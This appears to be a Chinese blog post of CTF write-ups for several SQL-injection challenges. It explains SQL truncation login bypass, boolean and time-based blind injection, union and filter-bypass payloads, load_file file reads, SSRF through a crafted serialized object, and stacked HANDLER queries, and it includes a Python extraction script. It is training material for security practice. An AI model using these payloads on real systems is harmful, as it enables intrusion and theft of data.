buuoj_sql

[FBCTF2019]Products Manager

一、知识点

1.数据库字符串比较

在数据库对字符串进行比较时,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致,比如,字符串A:[String]和字符串B:[String2]进行比较时,由于String2比String多了一个字符串,这时MySQL会将字符串A填充为[String ],即在原来字符串后面加了一个空格,使两个字符串长度一致。

如下两条查询语句:

select * from users where username='Dumb'

select * from users where username='Dumb '

它们的查询结果是一致的,即第二条查询语句中Dumb后面的空格并没有对查询有任何影响。因为在MySQL把查询语句里的username和数据库里的username值进行比较时,它们就是一个字符串的比较操作,符合上述特征。

2. INSERT截断

这是数据库的另一个特性,当设计一个字段时,我们都必须对其设定一个最大长度,比如CHAR(10),VARCHAR(20)等等。但是当实际插入数据的长度超过限制时,数据库就会将其进行截断,只保留限定的长度。

 

二、利用场景:

利用场景设在用户登陆的地方,假如有用户[Dumb],我们想要使用他的账号登陆,但是我们又不知道他的密码,那么我们可以注册一个名字叫[Dumb          done]的用户,即在目标用户名的后面加一串空格(注意:空格后需再跟一个或多个任意字符,防止程序在检查用户名是否已存在时匹配到目标用户),空格的长度要超过数据库字段限制的长度,让其强制截断。注册该用户名后,由于截断的问题,此时我们的用户名就为:[Dumb       ],即除了后面的一串空格,我们的用户名和目标用户名一样。

假如服务端的用户登陆代码为:

<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
WHERE username='$username'
AND password='$password' ";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0){
return $username;//此处较原文有改动
}
}
return Null;
?>

从一般SQL注入的角度看,这段代码是不能注入的,但是当我们以目标用户名Dumb和我们自己注册用户的密码进行登陆时就可以绕过认证。当我们以用户名:[Dumb]和密码:[123456](假设)登陆时,对应的SQL语句就为:

SELECT username FROM users WHERE username='Dumb' AND password='123456'

当执行这条语句后,数据库将返回我们自己注册的账户信息,但是注意此处的return $username,虽然此时查询出来的是我们自己的用户信息,但是返回的用户名则是目标的用户名。如果此后的业务逻辑直接以该用户名为准,则我们就达到了水平越权的目的。

 

三、限制条件

1.服务端没有对用户名长度进行限制。如果服务端限制了用户名长度就不能导致数据库截断,也就没有利用条件。

2.登陆验证的SQL语句必须是用户名和密码一起验证。如果是验证流程是先根据用户名查找出对应的密码,然后再比对密码的话,那么也不能进行利用。因为当使用Dumb为用户名来查询密码的话,数据库此时就会返回两条记录,而一般取第一条则是目标用户的记录,那么你传输的密码肯定是和目标用户密码匹配不上的。

3.验证成功后返回的必须是用户传递进来的用户名,而不是从数据库取出的用户名。因为当我们以用户Dumb和密码123456登陆时,其实数据库返回的是我们自己的用户信息,而我们的用户名其实是[Dumb      ],如果此后的业务逻辑以该用户名为准,那么就不能达到越权的目的了。

参考:https://www.freebuf.com/articles/web/124537.html

 

四、wp

题目提供了源码,可以看到flag在facebook用户这里,并且name长度的最大字节是64。

 

 因为有64字节的长度,所以我们名字要大于64字节,例如facebook(很多空格)1,这个作为用户名进行注册,成功注册用户后,我们用facebook作为用户名和刚刚我们设置的密码进行查询。

 

得到flag。

 

[CISCN2019 华北赛区 Day2 Web1]Hack World

要毕业了最近有点忙,碎片时间刷刷题叭!

打开题目,是注入题目并且给了表名和列名

 

提交数字 1 或 2 的时候可以查询到数据,其他则报错

Hello, glzjin wants a girlfriend.
Do you want to be my girlfriend?

 

进行 fuzz 测试,ascii、substr 没有被过滤

 

可以使用布尔盲注,搜一个脚本跑出结果

import requests
url = "http://64331eb8-edf6-4d8d-a661-ec45f52fe9ca.node3.buuoj.cn/index.php"
result = ""
num = 0  # 判断flag是否拼完整
for i in range(1, 60):
    if num == 1:
        break
    for j in range(32, 128):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
        data = {
            "id": payload,
        }
        r = requests.post(url, data=data)
        r.encoding = r.apparent_encoding
        if "Hello" in r.text:
            x = chr(j)
            result += str(x)
            print(result)
            break
        if "}" in result:
            print(result)
            num = 1
            break

 

参考文章:

https://www.cnblogs.com/zzjdbk/p/13650826.html

 

[网鼎杯 2018]Fakebook

解法一

打开题目是这样的

 

首先扫一下目录扫到 flag.php(有可能存在 flag,但是访问后无内容)、robots.txt,访问 robots.txt 发现有一个 user.php.bak 的备份文件,下载源码稍后再审计。主页注册一个账号,登录后显示账号信息,点进用户名显示 username、age、blog 和一个 iframe 引入的用户填写的 blog 网址

 

url 处的 view.php?no=1,no 参数可能存在 sql 注入漏洞,页面上引入 blog 是用户可控的,那么也有可能会存在 ssrf 漏洞,先尝试手工注入

?no=1 and 1=1    //回显正常
?no=1 and 1=2    //回显报错
?no=1 order by 3     //正常
?no=1 order by 4     //正常
?no=1 order by 5     //报错,所以4列
?no=-1 union select 1,2,3,4--+        //过滤union select
?no=-1 union/**/select 1,2,3,4--+     //绕过过滤

 

回显位是 username,并且绝对路径是 /var/www/html/view.php

 

接着尝试 sql 注入获取信息

?no=-1 union/**/select 1,database(),3,4--+  //数据库名fakebook
?no=-1 union/**/select 1,user(),3,4--+     //用户root@localhost

 

root 权限时,load_file() 函数可以利用绝对路径去加载一个文件,所以直接读 /var/www/html/flag.php 文件获得 flag

?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+

 

解法二

接着 sql 注入获取信息

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+     //获得users表
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+        //获得一些字段

 

 

sql 注入查看 data 字段内容,是一段序列化后的 UserInfo 对象

?no=-1 union/**/select 1,group_concat(data),3,4 from users where no='1'--+
//O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:20:"http://www.baidu.com";}

 

查看扫目录时得到的源码 user.php.bak,源码中有一个 UserInfo 的类,主要功能是建立会话并判断是否是有效的请求,如果不是则返回 404,如果是则返回 url 的内容。get 方法中,curl_exec() 支持 file 协议,如果使用不当就会导致 ssrf 漏洞通过 file 协议读文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

 

所以思路为 sql 注入发现 data 字段存放的是用户信息经过反序列化的结果,结合前面 view.php 页面会加载用户的 blog 信息,所以这里有可能是利用反序化数据库中的 data 字段,然后取出 blog 并加载。在反序列化中构造 file 文件协议,内容如下

<?php
class UserInfo  {
    public $name = "a";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$data = new UserInfo();
echo serialize($data);
?>
//O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

 

select 1,2,3,4 的对应位置为 no,username,passwd,data,所以构造 payload 如下,iframe 内容 base64 解码后得到 flag 

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

 

参考文章:

https://www.abelche.com/2019/07/29/Writeup/WP-%E7%BD%91%E9%BC%8E%E6%9D%AF-2018-Fakebook/

https://www.cnblogs.com/junlebao/p/14104036.html

 

[GXYCTF2019]BabySQli

开局一个登录框,随便输点什么登录,再查看源代码发现一段 base 编码

 

base32 再 base64 解密后为

select * from user where username = '$name'

 

登录框再尝试一下发现存在 admin 用户,显示 wrong pass,再手注一下发现有三个字段,第二个字段是用户名

1' union select 1,2,3#
回显 wrong user
1' union select 1,'admin',3#
回显 wrong pass

 

看师傅们的博客说有 md5 提示,我没发现欸,那逻辑就是数据库密码字段的内容为 md5 加密的密码,知识点是在联合查询并不存在的数据时,就会构造一个虚拟的数据。用户名处输入 payload,密码处输入 123 即可获得 flag

明文:123
md5:202cb962ac59075b964b07152d234b70
payload:1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#

 

[GYCTF2020]Blacklist

注入题目,先确定一下列数为2

1' order by 2#

 

尝试联合注入返回了过滤内容

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

 

考虑堆叠注入

1';show tables;#                      //查表
1';show columns from `FlagHere`;#     //查列

 

HANDLER ... OPEN 语句打开一个表,使其可以使用后续 HANDLER ... READ 语句访问,该表对象未被其他会话共享,并且在会话调用 HANDLER ... CLOSE 或会话终止之前不会关闭

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

 

“百度杯”CTF比赛 九月场 SQLi

被大师傅问到了 sql 注入过滤逗号说不出,啊他好强我好菜,找了一道 ctf 题来学习一下,下文就是记笔记,题目来自百度杯的SQLi,题目链接 https://www.ichunqiu.com/battalion?t=1&r=54791

解题前面有些脑洞部分就不细说了,大概就是在下图这里发现了真实存在注入的页面

 

在网上学到两种绕过过滤的方式,其中一种是用 join 连接联合查询,查数据库名和版本号如下

?id=-1' union select * from (select database()) a join (select version()) b%23

 

查表名

?id=-1' union select * from (select table_name from information_schema.tables where table_schema='sqli') a join (select null) b%23

 

查列名

?id=-1' union select * from (select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='users') a join (select null) b%23

 

查 flag_9c861b688330 字段的数据

?id=-1' union select * from (select flag_9c861b688330 from users) a join (select null) b%23

 

还有一种方式是时间盲注,使用 case when 代替 if

select case when (条件) then 代码1 else 代码2 end

 

再使用如下两种方式截取字符串,写脚本跑就好了

select substring ((select user()) from 1 for 1);  #第一种方法
select substring ((select user()) from -1);       #第二种方法

 

 

参考文章:

https://blog.csdn.net/qq_34444097/article/details/80253900

https://www.jianshu.com/p/082598908532

 

posted @ 2020-02-09 10:11  beiwo  阅读(925)  评论(0编辑  收藏  举报